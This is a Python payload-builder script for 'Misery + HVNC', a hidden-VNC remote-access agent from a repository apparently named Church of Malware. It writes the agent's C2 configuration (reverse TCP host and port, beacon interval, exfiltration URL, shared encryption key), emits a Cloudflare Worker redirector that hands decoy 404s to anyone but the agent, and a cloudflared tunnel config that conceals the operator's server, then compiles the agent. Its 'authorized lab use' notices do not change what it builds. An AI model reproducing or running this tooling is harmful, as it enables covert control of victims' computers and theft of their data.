mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
457 lines
17 KiB
Python
457 lines
17 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Misery + HVNC payload builder -- msfvenom-style setup.
|
|
|
|
Two faces:
|
|
setup.py [options] <var=val> non-interactive, msfvenom-style CLI
|
|
setup.py -g / setup.py interactive guided wizard
|
|
setup.py --list transports list available transports
|
|
setup.py --list options list payload options (var=val + defaults)
|
|
|
|
It writes src/config.h (compile-time config shared by agent + console) and,
|
|
for the CDN transport, the Cloudflare Worker and cloudflared tunnel artifacts,
|
|
then builds the project.
|
|
|
|
Run only from an authorized lab.
|
|
"""
|
|
|
|
import argparse
|
|
import hashlib
|
|
import os
|
|
import random
|
|
import shutil
|
|
import string
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
ROOT = Path(__file__).resolve().parent
|
|
SRC = ROOT / "src"
|
|
CONFIG_H = SRC / "config.h"
|
|
DEPLOY = ROOT / "deploy"
|
|
BUILD = ROOT / "build"
|
|
|
|
BANNER = r"""
|
|
========================================================
|
|
Misery + HVNC - payload builder (msfvenom-style)
|
|
a devoted sister of the Church of Malware
|
|
========================================================
|
|
"""
|
|
|
|
|
|
# ---------------------------------------------------------------- options model
|
|
|
|
# var=val names -> (attribute, prompt text, required, validator)
|
|
OPTIONS = {
|
|
"LHOST": ("lhost", "C2 host (agent reaches this)", True, None),
|
|
"LPORT": ("lport", "C2 port", False, None),
|
|
"BEACON_URL": ("beacon_url", "Worker beacon URL (https://<you>.workers.dev/poll)", True, None),
|
|
"AUTH_HEADER": ("auth_header", "CDN auth header name", False, None),
|
|
"AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None),
|
|
"SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None),
|
|
"EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None),
|
|
"KEY": ("key", "16-byte master key (16 chars or 32 hex chars)", False, None),
|
|
"OUT": ("out", "Output artifact base name", False, None),
|
|
}
|
|
|
|
TRANSPORTS = {
|
|
"tcp": {
|
|
"name": "TCP (current)",
|
|
"desc": "Reverse TCP listener on the console; agent connects directly.",
|
|
},
|
|
"https_cdn": {
|
|
"name": "HTTPS beacon via CDN (Cloudflare)",
|
|
"desc": "Agent POSTs encrypted frames to a Cloudflare Worker that relays "
|
|
"through a Zero Trust Tunnel to the console. No public IP on the "
|
|
"console. Artifacts are emitted now; the beacon transport code "
|
|
"lands in the next pass.",
|
|
},
|
|
}
|
|
|
|
|
|
class Config:
|
|
def __init__(self):
|
|
self.transport = "tcp"
|
|
self.lhost = None
|
|
self.lport = 4444
|
|
self.beacon_url = None
|
|
self.auth_header = "X-RT-C2"
|
|
self.auth_secret = None
|
|
self.sleep_ms = 5000
|
|
self.exfil_url = ""
|
|
self.key = None # printable 16-char str
|
|
self.out = "misery"
|
|
self.build = True
|
|
|
|
|
|
# ---------------------------------------------------------------- helpers
|
|
|
|
def printable_key() -> str:
|
|
"""16 printable ASCII chars (33..126) so the key is valid in both the
|
|
C string and the byte-list form."""
|
|
alphabet = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{};:,.<>?"
|
|
return "".join(random.SystemRandom().choice(alphabet) for _ in range(16))
|
|
|
|
|
|
def key_from_string(s: str) -> str:
|
|
l = len(s)
|
|
if l == 16:
|
|
return s
|
|
if l == 32:
|
|
try:
|
|
b = bytes.fromhex(s)
|
|
except ValueError:
|
|
raise ValueError("KEY: hex value must be valid hex")
|
|
return "".join(chr(c) for c in b)
|
|
raise ValueError("KEY: needs 16 chars or 32 hex chars, got %d" % l)
|
|
|
|
|
|
def byte_escapes(key: str) -> str:
|
|
return "".join("'\\x%02x'," % ord(c) for c in key)
|
|
|
|
|
|
def local_ips() -> list:
|
|
"""Best-effort IPv4 list from ipconfig for the MSFPC-style IP pick menu."""
|
|
out = []
|
|
try:
|
|
r = subprocess.run(["ipconfig"], capture_output=True, text=True, timeout=10)
|
|
for line in r.stdout.splitlines():
|
|
line = line.strip()
|
|
if "IPv4" in line:
|
|
# "IPv4 Address. . . . . . . . . . . . : 192.168.1.10"
|
|
part = line.split(":")[-1].strip()
|
|
if part and part.count(".") == 3:
|
|
out.append(part)
|
|
except Exception:
|
|
pass
|
|
return out
|
|
|
|
|
|
# ---------------------------------------------------------------- emission
|
|
|
|
def write_config(c: Config) -> str:
|
|
header = (
|
|
"// Generated by setup.py. Do not edit by hand; it is overwritten on each run.\n"
|
|
"// Defaults present only so a fresh checkout builds without running the builder.\n"
|
|
"#pragma once\n\n"
|
|
"// Transport type: 0 = TCP, 1 = HTTPS beacon through a CDN (Cloudflare).\n"
|
|
"#define HVNC_TRANSPORT %d\n\n"
|
|
"// Agent outbound target (TCP and beacon alike).\n"
|
|
"#define HVNC_C2_HOST \"%s\"\n"
|
|
"#define HVNC_C2_PORT %d\n\n"
|
|
"// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n"
|
|
"#define HVNC_EXFIL_URL \"%s\"\n\n"
|
|
"// 16-byte master key shared by agent and console. setup.py generates a fresh\n"
|
|
"// random value; this placeholder only keeps a default build working.\n"
|
|
"#define HVNC_MASTER_KEY_LEN 16\n"
|
|
"#define HVNC_MASTER_KEY \"%s\"\n"
|
|
"#define HVNC_MASTER_KEY_BYTES \\\n %s\n\n"
|
|
"// HTTPS beaconing (transport = 1): worker URL, auth header, beacon interval.\n"
|
|
"#define HVNC_BEACON_URL \"%s\"\n"
|
|
"#define HVNC_AUTH_HEADER \"%s\"\n"
|
|
"#define HVNC_AUTH_SECRET \"%s\"\n"
|
|
"#define HVNC_BEACON_SLEEP_MS %d\n"
|
|
) % (
|
|
(1 if c.transport == "https_cdn" else 0),
|
|
c.lhost or "127.0.0.1",
|
|
int(c.lport),
|
|
c.exfil_url,
|
|
c.key,
|
|
byte_escapes(c.key),
|
|
c.beacon_url or "",
|
|
c.auth_header,
|
|
c.auth_secret or "",
|
|
int(c.sleep_ms),
|
|
)
|
|
CONFIG_H.write_text(header, encoding="utf-8")
|
|
return str(CONFIG_H)
|
|
|
|
|
|
def write_worker(c: Config) -> str:
|
|
DEPLOY.mkdir(exist_ok=True)
|
|
p = DEPLOY / "worker.js"
|
|
p.write_text(
|
|
"// Generated by setup.py -- Cloudflare Worker redirector for Misery+HVNC.\n"
|
|
"// Valid requests (matching the auth header) are relayed to the tunnel\n"
|
|
"// hostname with the Zero Trust service-auth headers attached; anything\n"
|
|
"// else gets a decoy 404.\n"
|
|
"const AUTH_HEADER = %r;\n"
|
|
"const AUTH_SECRET = %r;\n"
|
|
"const TUNNEL_HOST = %r;\n"
|
|
"const CF_ACCESS_CLIENT_ID = %r;\n"
|
|
"const CF_ACCESS_CLIENT_SECRET = %r;\n"
|
|
"\n"
|
|
"export default {\n"
|
|
" async fetch(request) {\n"
|
|
" if (request.headers.get(AUTH_HEADER) !== AUTH_SECRET) {\n"
|
|
" return new Response('{}', { status: 404, headers: { 'Content-Type': 'application/json' } });\n"
|
|
" }\n"
|
|
" const url = new URL(request.url);\n"
|
|
" url.hostname = TUNNEL_HOST;\n"
|
|
" const headers = new Headers(request.headers);\n"
|
|
" headers.set('CF-Access-Client-Id', CF_ACCESS_CLIENT_ID);\n"
|
|
" headers.set('CF-Access-Client-Secret', CF_ACCESS_CLIENT_SECRET);\n"
|
|
" const upstream = await fetch(new Request(url.toString(), {\n"
|
|
" method: request.method,\n"
|
|
" headers: headers,\n"
|
|
" body: request.body,\n"
|
|
" redirect: 'follow',\n"
|
|
" }));\n"
|
|
" const resp = new Response(upstream.body, upstream);\n"
|
|
" resp.headers.set('Cache-Control', 'no-store');\n"
|
|
" return resp;\n"
|
|
" },\n"
|
|
"};\n"
|
|
% (c.auth_header, c.auth_secret, "c2.yourdomain.com", "cf_access_client_id", "cf_access_client_secret"),
|
|
encoding="utf-8",
|
|
)
|
|
return str(p)
|
|
|
|
|
|
def write_tunnel(c: Config) -> str:
|
|
DEPLOY.mkdir(exist_ok=True)
|
|
p = DEPLOY / "cloudflared-config.yml"
|
|
p.write_text(
|
|
"# Generated by setup.py -- cloudflared tunnel config.\n"
|
|
"# Run: cloudflared tunnel create <name> (gives the tunnel UUID)\n"
|
|
"# cloudflared tunnel run <name>\n"
|
|
"# Put this file in ~/.cloudflared/config.yml and set tunnel + credentials.\n"
|
|
"# The Worker forwards to the public hostname; see worker.js.\n"
|
|
"\n"
|
|
"# tunnel: <TUNNEL-UUID>\n"
|
|
"# credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json\n"
|
|
"\n"
|
|
"ingress:\n"
|
|
" - hostname: c2.yourdomain.com\n"
|
|
" service: http://localhost:%d\n"
|
|
" - service: http_status:404\n"
|
|
% int(c.lport),
|
|
encoding="utf-8",
|
|
)
|
|
return str(p)
|
|
|
|
|
|
# ---------------------------------------------------------------- build + report
|
|
|
|
def run_build(c: Config) -> bool:
|
|
if not c.build:
|
|
return True
|
|
print("[*] Building..")
|
|
if not shutil.which("cmake"):
|
|
print("[!] cmake not found; config emitted, build skipped.")
|
|
return False
|
|
if not (BUILD / "CMakeCache.txt").exists():
|
|
subprocess.run(["cmake", "-S", str(ROOT), "-B", str(BUILD)], check=False)
|
|
r = subprocess.run(["cmake", "--build", str(BUILD), "--config", "Release"], check=False)
|
|
return r.returncode == 0
|
|
|
|
|
|
def report(c: Config, files: list) -> None:
|
|
print("\n[i] Emitted:")
|
|
for f in files:
|
|
print(" " + f)
|
|
print("\n[i] Summary:")
|
|
print(" transport : %s" % TRANSPORTS[c.transport]["name"])
|
|
print(" host : %s" % (c.lhost or "(none)"))
|
|
print(" port : %d" % int(c.lport))
|
|
if c.transport == "https_cdn":
|
|
print(" beacon : %s" % c.beacon_url)
|
|
print(" auth : %s: %s" % (c.auth_header, c.auth_secret))
|
|
print(" sleep : %d ms" % int(c.sleep_ms))
|
|
print(" exfil url : %s" % (c.exfil_url or "(channel only)"))
|
|
print(" master key: %s" % c.key)
|
|
print("\n[*] Recreate without prompts:")
|
|
print(" python setup.py -t %s LHOST=%s LPORT=%d KEY=%s OUT=%s%s" % (
|
|
c.transport, c.lhost or "", int(c.lport), c.key, c.out,
|
|
"" if c.build else " --no-build"))
|
|
if c.transport == "https_cdn":
|
|
print(" python setup.py -t %s BEACON_URL=%s AUTH_SECRET=%s KEY=%s OUT=%s -g" % (
|
|
c.transport, c.beacon_url, c.auth_secret, c.key, c.out))
|
|
print("[!] Authorized lab use only.")
|
|
|
|
|
|
# ---------------------------------------------------------------- guided wizard
|
|
|
|
def ask(prompt, default=None, required=False, valid=None):
|
|
while True:
|
|
d = " [%s]" % default if default else ""
|
|
val = input("? %s%s: " % (prompt, d)).strip()
|
|
if not val and default:
|
|
val = str(default)
|
|
if not val:
|
|
if required:
|
|
print(" (required)")
|
|
continue
|
|
return ""
|
|
if valid and val not in valid:
|
|
print(" (choose from: %s)" % ", ".join(valid))
|
|
continue
|
|
return val
|
|
|
|
|
|
def guided(c: Config) -> None:
|
|
print(BANNER)
|
|
print("[?] Transport:\n")
|
|
keys = list(TRANSPORTS)
|
|
for i, k in enumerate(keys, 1):
|
|
print(" %d.) %-26s %s" % (i, TRANSPORTS[k]["name"], TRANSPORTS[k]["desc"]))
|
|
sel = ask("Select 1-%d" % len(keys), default=1, valid=[str(i) for i in range(1, len(keys) + 1)])
|
|
c.transport = keys[int(sel) - 1]
|
|
|
|
if c.transport == "tcp":
|
|
ips = local_ips()
|
|
if ips:
|
|
print("\n[?] Local interfaces (MSFPC-style; choose your LHOST):")
|
|
for i, ip in enumerate(ips, 1):
|
|
print(" %d.) %s" % (i, ip))
|
|
pick = ask("Select 1-%d, or 0 for manual" % len(ips), default=1)
|
|
if pick == "0":
|
|
c.lhost = ask("C2 host (LHOST)", required=True)
|
|
else:
|
|
c.lhost = ips[int(pick) - 1]
|
|
else:
|
|
c.lhost = ask("C2 host (LHOST)", required=True)
|
|
c.lport = int(ask("C2 port (LPORT)", default=4444))
|
|
else:
|
|
c.beacon_url = ask("Worker beacon URL", required=True)
|
|
c.auth_header = ask("CDN auth header name", default="X-RT-C2")
|
|
c.auth_secret = ask("CDN auth header value", required=True)
|
|
c.sleep_ms = int(ask("Beacon interval ms", default=5000))
|
|
print("[i] tunnel config emitted; set the TUNNEL hostname + service auth in deploy/")
|
|
|
|
c.exfil_url = ask("Optional HTTPS exfil URL (empty = channel only)")
|
|
print("\n[?] Master key (shared agent+console):")
|
|
print(" 1.) Auto-generate random 16-byte key")
|
|
print(" 2.) Enter my own (16 chars or 32 hex)")
|
|
km = ask("Select 1-2", default=1, valid=["1", "2"])
|
|
if km == "1":
|
|
c.key = printable_key()
|
|
else:
|
|
while True:
|
|
try:
|
|
c.key = key_from_string(ask("Master key", required=True))
|
|
break
|
|
except ValueError as e:
|
|
print(" " + str(e))
|
|
c.out = ask("Output artifact base name", default="misery")
|
|
c.build = ask("Build now? [y/n]", default="y") in ("y", "Y", "yes")
|
|
|
|
|
|
# ---------------------------------------------------------------- CLI + main
|
|
|
|
def main() -> None:
|
|
parser = argparse.ArgumentParser(
|
|
prog="setup.py",
|
|
description="Misery + HVNC payload builder (msfvenom-style)",
|
|
add_help=False,
|
|
)
|
|
parser.add_argument("-t", "--transport", choices=list(TRANSPORTS))
|
|
parser.add_argument("-l", "--list", nargs="?", const="transports", metavar="TYPE",
|
|
help="list 'transports' or 'options'")
|
|
parser.add_argument("--options", action="store_true",
|
|
help="list payload options and defaults")
|
|
parser.add_argument("-o", "--out")
|
|
parser.add_argument("-k", "--key")
|
|
parser.add_argument("-g", "--guided", action="store_true", help="force interactive wizard")
|
|
parser.add_argument("--no-build", action="store_true", help="emit config only, skip build")
|
|
parser.add_argument("-h", "--help", action="store_true")
|
|
|
|
opts, unknown = parser.parse_known_args()
|
|
|
|
if opts.help:
|
|
print(BANNER)
|
|
parser.print_help()
|
|
print("\nUsage: setup.py [options] <var=val>\n")
|
|
print("Options: (var=val also accepted, msfvenom-style)")
|
|
for name, (attr, desc, req, _) in sorted(OPTIONS.items(), key=lambda kv: kv[0]):
|
|
print(" %-12s %s%s" % (name, desc, "" if not req else " [required]"))
|
|
print(" BUILD Set to 0 to skip the cmake build")
|
|
print("\nExamples:")
|
|
print(" setup.py -g")
|
|
print(" setup.py -t tcp LHOST=10.0.0.5 LPORT=4444 KEY=<hex> -o agent")
|
|
print(" setup.py -t https_cdn BEACON_URL=https://x.workers.dev/poll AUTH_SECRET=s3cr3t")
|
|
print(" setup.py --list transports")
|
|
print(" setup.py --list options")
|
|
return
|
|
|
|
if opts.list or opts.options:
|
|
want = opts.list or ("options" if opts.options else "transports")
|
|
if want in ("transports", "all"):
|
|
print("\nAvailable transports:\n")
|
|
for k, v in TRANSPORTS.items():
|
|
print(" %-12s %s" % (k, v["name"]))
|
|
print(" %s\n" % v["desc"])
|
|
if want in ("options", "all"):
|
|
print("\nPayload options (var=val):\n")
|
|
for name, (attr, desc, req, _) in sorted(OPTIONS.items(), key=lambda kv: kv[0]):
|
|
print(" %-12s %s%s" % (name, desc, "" if not req else " [required]"))
|
|
return
|
|
|
|
c = Config()
|
|
|
|
# --no-build / BUILD=0
|
|
c.build = not opts.no_build
|
|
|
|
# gather var=val from positional args (msfvenom style)
|
|
for tok in unknown:
|
|
if "=" in tok:
|
|
k, v = tok.split("=", 1)
|
|
if k.upper() in OPTIONS:
|
|
setattr(c, OPTIONS[k.upper()][0], v)
|
|
elif k.upper() == "BUILD":
|
|
c.build = (v.strip() != "0")
|
|
else:
|
|
print("[!] unknown var: %s" % k)
|
|
|
|
# flags override var=val
|
|
if opts.transport:
|
|
c.transport = opts.transport
|
|
if opts.out:
|
|
c.out = opts.out
|
|
if opts.key:
|
|
try:
|
|
c.key = key_from_string(opts.key)
|
|
except ValueError as e:
|
|
print("[!] %s" % e)
|
|
sys.exit(1)
|
|
|
|
# Flags given -> non-interactive; bare invocation or -g -> guided wizard.
|
|
has_input = bool(c.lhost or c.beacon_url or c.key or opts.transport)
|
|
interactive = opts.guided or not has_input
|
|
|
|
if interactive:
|
|
guided(c)
|
|
else:
|
|
if not c.key:
|
|
c.key = printable_key()
|
|
print("[*] generated master key: %s" % c.key)
|
|
if c.transport == "tcp":
|
|
c.lhost = c.lhost or "127.0.0.1"
|
|
if not c.lhost:
|
|
c.lhost = ask("C2 host", required=True)
|
|
c.lport = int(c.lport or 4444)
|
|
else:
|
|
if not c.beacon_url:
|
|
print("[!] BEACON_URL required for https_cdn")
|
|
sys.exit(1)
|
|
c.auth_secret = c.auth_secret or ""
|
|
c.sleep_ms = int(c.sleep_ms or 5000)
|
|
|
|
# validate
|
|
if c.transport not in TRANSPORTS:
|
|
print("[!] unknown transport: %s" % c.transport)
|
|
sys.exit(1)
|
|
c.key = c.key if len(c.key) == 16 else key_from_string(c.key)
|
|
|
|
files = [write_config(c)]
|
|
if c.transport == "https_cdn":
|
|
files.append(write_worker(c))
|
|
files.append(write_tunnel(c))
|
|
|
|
report(c, files)
|
|
ok = run_build(c)
|
|
sys.exit(0 if ok else 1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |